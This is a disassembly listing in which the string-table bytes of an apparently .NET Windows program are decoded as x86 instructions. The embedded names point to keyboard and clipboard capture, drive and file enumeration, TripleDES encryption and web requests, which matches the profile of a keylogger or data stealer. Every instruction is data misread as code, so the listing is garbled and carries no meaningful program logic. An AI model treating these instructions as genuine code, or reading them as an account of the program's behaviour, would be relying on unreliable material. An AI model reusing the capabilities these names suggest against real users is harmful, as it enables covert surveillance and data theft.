47765e:	75 62                	jne    0x4776c2
477660:	6c                   	insb   (%dx),%es:(%edi)
477661:	69 63 4b 65 79 54 6f 	imul   $0x6f547965,0x4b(%ebx),%esp
477668:	6b 65 6e 3d          	imul   $0x3d,0x6e(%ebp),%esp
47766c:	62 30                	bound  %esi,(%eax)
47766e:	33 66 35             	xor    0x35(%esi),%esp
477671:	66 37                	data16 aaa
477673:	66 31 31             	xor    %si,(%ecx)
477676:	64 35 30 61 33 61    	fs xor $0x61336130,%eax
47767c:	05 01 00 00 00       	add    $0x1,%eax
477681:	15 53 79 73 74       	adc    $0x74737953,%eax
477686:	65 6d                	gs insl (%dx),%es:(%edi)
477688:	2e 44                	cs inc %esp
47768a:	72 61                	jb     0x4776ed
47768c:	77 69                	ja     0x4776f7
47768e:	6e                   	outsb  %ds:(%esi),(%dx)
47768f:	67 2e 42             	addr16 cs inc %edx
477692:	69 74 6d 61 70 01 00 	imul   $0x170,0x61(%ebp,%ebp,2),%esi
477699:	00
47769a:	00 04 44             	add    %al,(%esp,%eax,2)
47769d:	61                   	popa
47769e:	74 61                	je     0x477701
4776a0:	07                   	pop    %es
4776a1:	02 02                	add    (%edx),%al
4776a3:	00 00                	add    %al,(%eax)
4776a5:	00 09                	add    %cl,(%ecx)
4776a7:	03 00                	add    (%eax),%eax
4776a9:	00 00                	add    %al,(%eax)
4776ab:	0f 03 00             	lsl    (%eax),%eax
4776ae:	00 00                	add    %al,(%eax)
4776b0:	f6 06 00             	testb  $0x0,(%esi)
4776b3:	00 02                	add    %al,(%edx)
4776b5:	42                   	inc    %edx
4776b6:	4d                   	dec    %ebp
4776b7:	f6 06 00             	testb  $0x0,(%esi)
4776ba:	00 00                	add    %al,(%eax)
4776bc:	00 00                	add    %al,(%eax)
4776be:	00 36                	add    %dh,(%esi)
4776c0:	00 00                	add    %al,(%eax)
4776c2:	00 28                	add    %ch,(%eax)
4776c4:	00 00                	add    %al,(%eax)
4776c6:	00 18                	add    %bl,(%eax)
4776c8:	00 00                	add    %al,(%eax)
4776ca:	00 18                	add    %bl,(%eax)
4776cc:	00 00                	add    %al,(%eax)
4776ce:	00 01                	add    %al,(%ecx)
4776d0:	00 18                	add    %bl,(%eax)
4776da:	00 c4                	add    %al,%ah
4776dc:	0e                   	push   %cs
4776dd:	00 00                	add    %al,(%eax)
4776df:	c4 0e                	les    (%esi),%ecx
4778e1:	00 00                	add    %al,(%eax)
4778e3:	70 65                	jo     0x47794a
477929:	00 00                	add    %al,(%eax)
47792b:	00 47 65             	add    %al,0x65(%edi)
47792e:	74 45                	je     0x477975
477930:	78 74                	js     0x4779a6
477932:	65 6e                	outsb  %gs:(%esi),(%dx)
477934:	73 69                	jae    0x47799f
477936:	6f                   	outsl  %ds:(%esi),(%dx)
477937:	6e                   	outsb  %ds:(%esi),(%dx)
477938:	00 46 69             	add    %al,0x69(%esi)
47793b:	6c                   	insb   (%dx),%es:(%edi)
47793c:	65 49                	gs dec %ecx
47793e:	6e                   	outsb  %ds:(%esi),(%dx)
47793f:	66 6f                	outsw  %ds:(%esi),(%dx)
477941:	00 43 72             	add    %al,0x72(%ebx)
477944:	65 61                	gs popa
477946:	74 65                	je     0x4779ad
477948:	4f                   	dec    %edi
477949:	62 6a 65             	bound  %ebp,0x65(%edx)
47794c:	63 74 00 47          	arpl   %esi,0x47(%eax,%eax,1)
477950:	65 74 46             	gs je  0x477999
477953:	69 6c 65 4e 61 6d 65 	imul   $0x57656d61,0x4e(%ebp,%eiz,2),%ebp
47795a:	57
47795b:	69 74 68 6f 75 74 45 	imul   $0x78457475,0x6f(%eax,%ebp,2),%esi
477962:	78
477963:	74 65                	je     0x4779ca
477965:	6e                   	outsb  %ds:(%esi),(%dx)
477966:	73 69                	jae    0x4779d1
477968:	6f                   	outsl  %ds:(%esi),(%dx)
477969:	6e                   	outsb  %ds:(%esi),(%dx)
47796a:	00 43 68             	add    %al,0x68(%ebx)
47796d:	61                   	popa
47796e:	6e                   	outsb  %ds:(%esi),(%dx)
47796f:	67 65 54             	addr16 gs push %esp
477972:	79 45                	jns    0x4779b9
477974:	6e                   	outsb  %ds:(%esi),(%dx)
477975:	64 73 57             	fs jae 0x4779cf
477978:	69 74 68 00 47 65 74 	imul   $0x44746547,0x0(%eax,%ebp,2),%esi
47797f:	44
477980:	69 72 65 63 74 6f 72 	imul   $0x726f7463,0x65(%edx),%esi
477987:	69 65 73 00 46 69 6c 	imul   $0x6c694600,0x73(%ebp),%esp
47798e:	65 53                	gs push %ebx
477990:	79 73                	jns    0x477a05
477992:	74 65                	je     0x4779f9
477994:	6d                   	insl   (%dx),%es:(%edi)
477995:	49                   	dec    %ecx
477996:	6e                   	outsb  %ds:(%esi),(%dx)
477997:	66 6f                	outsw  %ds:(%esi),(%dx)
477999:	00 73 65             	add    %dh,0x65(%ebx)
47799c:	74 5f                	je     0x4779fd
47799e:	41                   	inc    %ecx
47799f:	74 74                	je     0x477a15
4779a1:	72 69                	jb     0x477a0c
4779a3:	62 75 74             	bound  %esi,0x74(%ebp)
4779a6:	65 73 00             	gs jae 0x4779a9
4779a9:	67 65 74 5f          	addr16 gs je 0x477a0c
4779ad:	54                   	push   %esp
4779ae:	6f                   	outsl  %ds:(%esi),(%dx)
4779af:	74 61                	je     0x477a12
4779b1:	6c                   	insb   (%dx),%es:(%edi)
4779b2:	46                   	inc    %esi
4779b3:	72 65                	jb     0x477a1a
4779b5:	65 53                	gs push %ebx
4779b7:	70 61                	jo     0x477a1a
4779b9:	63 65 69             	arpl   %esp,0x69(%ebp)
4779bc:	76 65                	jbe    0x477a23
4779be:	49                   	dec    %ecx
4779bf:	6e                   	outsb  %ds:(%esi),(%dx)
4779c0:	66 6f                	outsw  %ds:(%esi),(%dx)
4779c2:	00 47 65             	add    %al,0x65(%edi)
4779c5:	74 44                	je     0x477a0b
4779c7:	72 69                	jb     0x477a32
4779c9:	76 65                	jbe    0x477a30
4779cb:	73 00                	jae    0x4779cd
4779cd:	67 65 74 5f          	addr16 gs je 0x477a30
4779d1:	49                   	dec    %ecx
4779d2:	73 52                	jae    0x477a26
4779d4:	65 61                	gs popa
4779d6:	64 79 00             	fs jns 0x4779d9
4779d9:	67 65 74 5f          	addr16 gs je 0x477a3c
4779dd:	44                   	inc    %esp
4779de:	72 69                	jb     0x477a49
4779e0:	76 65                	jbe    0x477a47
4779e2:	54                   	push   %esp
4779e3:	79 70                	jns    0x477a55
4779e5:	65 00 44 72 69       	add    %al,%gs:0x69(%edx,%esi,2)
4779ea:	76 65                	jbe    0x477a51
4779ec:	54                   	push   %esp
4779ed:	79 70                	jns    0x477a5f
4779ef:	65 00 67 65          	add    %ah,%gs:0x65(%edi)
4779f3:	74 5f                	je     0x477a54
4779f5:	4e                   	dec    %esi
4779f6:	61                   	popa
4779f7:	6d                   	insl   (%dx),%es:(%edi)
4779f8:	65 00 47 65          	add    %al,%gs:0x65(%edi)
4779fc:	74 46                	je     0x477a44
4779fe:	69 6c 65 73 00 4d 6f 	imul   $0x646f4d00,0x73(%ebp,%eiz,2),%ebp
477a05:	64
477a06:	65 00 73 65          	add    %dh,%gs:0x65(%ebx)
477a0a:	74 5f                	je     0x477a6b
477a0c:	50                   	push   %eax
477a0d:	61                   	popa
477a0e:	64 64 69 6e 67 00 50 	fs imul $0x64615000,%fs:0x67(%esi),%ebp
477a15:	61 64
477a17:	64 69 6e 67 4d 6f 64 	imul   $0x65646f4d,%fs:0x67(%esi),%ebp
477a1e:	65
477a1f:	00 43 72             	add    %al,0x72(%ebx)
477a22:	65 61                	gs popa
477a24:	74 65                	je     0x477a8b
477a26:	45                   	inc    %ebp
477a27:	6e                   	outsb  %ds:(%esi),(%dx)
477a28:	63 72 79             	arpl   %esi,0x79(%edx)
477a2b:	70 74                	jo     0x477aa1
477a2d:	6f                   	outsl  %ds:(%esi),(%dx)
477a2e:	72 00                	jb     0x477a30
477a30:	46                   	inc    %esi
477a31:	72 6f                	jb     0x477aa2
477a33:	6d                   	insl   (%dx),%es:(%edi)
477a34:	42                   	inc    %edx
477a35:	61                   	popa
477a36:	73 65                	jae    0x477a9d
477a38:	36 34 53             	ss xor $0x53,%al
477a3b:	74 72                	je     0x477aaf
477a3d:	69 6e 67 00 4e 65 77 	imul   $0x77654e00,0x67(%esi),%ebp
477a44:	47                   	inc    %edi
477a45:	75 69                	jne    0x477ab0
477a47:	64 00 44 72 74       	add    %al,%fs:0x74(%edx,%esi,2)
477a4c:	68 6d 00 43 6f       	push   $0x6f43006d
477a51:	6d                   	insl   (%dx),%es:(%edi)
477a52:	70 75                	jo     0x477ac9
477a54:	74 65                	je     0x477abb
477a56:	48                   	dec    %eax
477a57:	61                   	popa
477a58:	73 68                	jae    0x477ac2
477a5a:	00 54 72 69          	add    %dl,0x69(%edx,%esi,2)
477a5e:	70 6c                	jo     0x477acc
477a60:	65 44                	gs inc %esp
477a62:	45                   	inc    %ebp
477a63:	53                   	push   %ebx
477a64:	43                   	inc    %ebx
477a65:	72 79                	jb     0x477ae0
477a67:	70 74                	jo     0x477add
477a69:	6f                   	outsl  %ds:(%esi),(%dx)
477a6a:	53                   	push   %ebx
477a6b:	65 72 76             	gs jb  0x477ae4
477a6e:	69 63 65 50 72 6f 76 	imul   $0x766f7250,0x65(%ebx),%esp
477a75:	69 64 65 72 00 54 72 	imul   $0x69725400,0x72(%ebp,%eiz,2),%esp
477a7c:	69
477a7d:	70 6c                	jo     0x477aeb
477a7f:	65 44                	gs inc %esp
477a81:	45                   	inc    %ebp
477a82:	53                   	push   %ebx
477a83:	00 73 65             	add    %dh,0x65(%ebx)
477a86:	74 5f                	je     0x477ae7
477a88:	4d                   	dec    %ebp
477a89:	6f                   	outsl  %ds:(%esi),(%dx)
477a8a:	64 65 00 43 69       	fs add %al,%gs:0x69(%ebx)
477a8f:	70 68                	jo     0x477af9
477a91:	65 72 67             	gs jb  0x477afb
477a94:	65 74 5f             	gs je  0x477af6
477a97:	43                   	inc    %ebx
477a98:	74 72                	je     0x477b0c
477a9a:	6c                   	insb   (%dx),%es:(%edi)
477a9b:	4b                   	dec    %ebx
477a9c:	65 79 44             	gs jns 0x477ae3
477a9f:	6f                   	outsl  %ds:(%esi),(%dx)
477aa0:	77 6e                	ja     0x477b10
477aa2:	00 54 6f 55          	add    %dl,0x55(%edi,%ebp,2)
477aa6:	70 70                	jo     0x477b18
477aa8:	65 72 00             	gs jb  0x477aab
477aab:	55                   	push   %ebp
477aac:	54                   	push   %esp
477aad:	46                   	inc    %esi
477aae:	38 45 6e             	cmp    %al,0x6e(%ebp)
477ab1:	63 6f 64             	arpl   %ebp,0x64(%edi)
477ab4:	69 6e 67 00 4d 44 35 	imul   $0x35444d00,0x67(%esi),%ebp
477abb:	43                   	inc    %ebx
477abc:	72 79                	jb     0x477b37
477abe:	70 74                	jo     0x477b34
477ac0:	6f                   	outsl  %ds:(%esi),(%dx)
477ac1:	53                   	push   %ebx
477ac2:	65 72 76             	gs jb  0x477b3b
477ac5:	69 63 65 50 72 6f 76 	imul   $0x766f7250,0x65(%ebx),%esp
477acc:	69 64 65 72 00 48 61 	imul   $0x73614800,0x72(%ebp,%eiz,2),%esp
477ad3:	73
477ad4:	68 41 6c 67 6f       	push   $0x6f676c41
477ad9:	72 69                	jb     0x477b44
477adb:	6f                   	outsl  %ds:(%esi),(%dx)
477adc:	77 65                	ja     0x477b43
477ade:	72 00                	jb     0x477ae0
477ae0:	67 65 74 5f          	addr16 gs je 0x477b43
477ae4:	4b                   	dec    %ebx
477ae5:	65 79 62             	gs jns 0x477b4a
477ae8:	6f                   	outsl  %ds:(%esi),(%dx)
477ae9:	61                   	popa
477aea:	72 64                	jb     0x477b50
477aec:	00 4b 65             	add    %cl,0x65(%ebx)
477aef:	79 62                	jns    0x477b53
477af1:	6f                   	outsl  %ds:(%esi),(%dx)
477af2:	61                   	popa
477af3:	72 64                	jb     0x477b59
477af5:	00 67 65             	add    %ah,0x65(%edi)
477af8:	74 5f                	je     0x477b59
477afa:	43                   	inc    %ebx
477afb:	61                   	popa
477afc:	70 73                	jo     0x477b71
477afe:	4c                   	dec    %esp
477aff:	6f                   	outsl  %ds:(%esi),(%dx)
477b00:	63 6b 00             	arpl   %ebp,0x0(%ebx)
477b03:	67 65 74 5f          	addr16 gs je 0x477b66
477b07:	53                   	push   %ebx
477b08:	68 69 66 74 4b       	push   $0x4b746669
477b0d:	65 79 44             	gs jns 0x477b54
477b10:	6f                   	outsl  %ds:(%esi),(%dx)
477b11:	77 6e                	ja     0x477b81
477b13:	00 67 65             	add    %ah,0x65(%edi)
477b16:	74 5f                	je     0x477b77
477b18:	41                   	inc    %ecx
477b19:	6c                   	insb   (%dx),%es:(%edi)
477b1a:	74 4b                	je     0x477b67
477b1c:	65 79 44             	gs jns 0x477b63
477b1f:	6f                   	outsl  %ds:(%esi),(%dx)
477b20:	77 6e                	ja     0x477b90
477b22:	00 45 78             	add    %al,0x78(%ebp)
477b25:	70 6c                	jo     0x477b93
477b27:	69 63 69 74 00 67 65 	imul   $0x65670074,0x69(%ebx),%esp
477b2e:	74 5f                	je     0x477b8f
477b30:	43                   	inc    %ebx
477b31:	61                   	popa
477b32:	70 61                	jo     0x477b95
477b34:	63 69 74             	arpl   %ebp,0x74(%ecx)
477b37:	79 00                	jns    0x477b39
477b39:	46                   	inc    %esi
477b3a:	69 6c 65 56 65 72 73 	imul   $0x69737265,0x56(%ebp,%eiz,2),%ebp
477b41:	69
477b42:	6f                   	outsl  %ds:(%esi),(%dx)
477b43:	6e                   	outsb  %ds:(%esi),(%dx)
477b44:	49                   	dec    %ecx
477b45:	6e                   	outsb  %ds:(%esi),(%dx)
477b46:	66 6f                	outsw  %ds:(%esi),(%dx)
477b48:	00 47 65             	add    %al,0x65(%edi)
477b4b:	74 56                	je     0x477ba3
477b4d:	65 72 73             	gs jb  0x477bc3
477b50:	69 6f 6e 49 6e 66 6f 	imul   $0x6f666e49,0x6e(%edi),%ebp
477b57:	00 67 65             	add    %ah,0x65(%edi)
477b5a:	74 5f                	je     0x477bbb
477b5c:	50                   	push   %eax
477b5d:	72 6f                	jb     0x477bce
477b5f:	64 75 63             	fs jne 0x477bc5
477b62:	74 4e                	je     0x477bb2
477b64:	61                   	popa
477b65:	6d                   	insl   (%dx),%es:(%edi)
477b66:	65 00 54 6f 4c       	add    %dl,%gs:0x4c(%edi,%ebp,2)
477b6b:	65 74 5f             	gs je  0x477bcd
477b6e:	43                   	inc    %ebx
477b6f:	6c                   	insb   (%dx),%es:(%edi)
477b70:	69 70 62 6f 61 72 64 	imul   $0x6472616f,0x62(%eax),%esi
477b77:	00 43 6c             	add    %al,0x6c(%ebx)
477b7a:	69 70 62 6f 61 72 64 	imul   $0x6472616f,0x62(%eax),%esi
477b81:	50                   	push   %eax
477b82:	72 6f                	jb     0x477bf3
477b84:	78 79                	js     0x477bff
477b86:	00 47 65             	add    %al,0x65(%edi)
477b89:	74 54                	je     0x477bdf
477b8b:	65 78 74             	gs js  0x477c02
477b8e:	00 47 65             	add    %al,0x65(%edi)
477b91:	74 50                	je     0x477be3
477b93:	72 6f                	jb     0x477c04
477b95:	63 65 73             	arpl   %esp,0x73(%ebp)
477b98:	73 42                	jae    0x477bdc
477b9a:	79 49                	jns    0x477be5
477b9c:	64 00 49 6e          	add    %cl,%fs:0x6e(%ecx)
477ba0:	74 50                	je     0x477bf2
477ba2:	74 72                	je     0x477c16
477ba4:	00 67 65             	add    %ah,0x65(%edi)
477ba7:	74 5f                	je     0x477c08
477ba9:	48                   	dec    %eax
477baa:	61                   	popa
477bab:	6e                   	outsb  %ds:(%esi),(%dx)
477bac:	64 6c                	fs insb (%dx),%es:(%edi)
477bae:	65 00 6f 70          	add    %ch,%gs:0x70(%edi)
477bb2:	5f                   	pop    %edi
477bb3:	64 69 72 65 63 74 69 	imul   $0x6f697463,%fs:0x65(%edx),%esi
477bba:	6f
477bbb:	6e                   	outsb  %ds:(%esi),(%dx)
477bbc:	73 00                	jae    0x477bbe
477bbe:	73 65                	jae    0x477c25
477bc0:	74 5f                	je     0x477c21
477bc2:	55                   	push   %ebp
477bc3:	73 65                	jae    0x477c2a
477bc5:	72 41                	jb     0x477c08
477bc7:	67 65 6e             	outsb  %gs:(%si),(%dx)
477bca:	74 00                	je     0x477bcc
477bcc:	47                   	inc    %edi
477bcd:	65 74 52             	gs je  0x477c22
477bd0:	65 73 70             	gs jae 0x477c43
477bd3:	6f                   	outsl  %ds:(%esi),(%dx)
477bd4:	6e                   	outsb  %ds:(%esi),(%dx)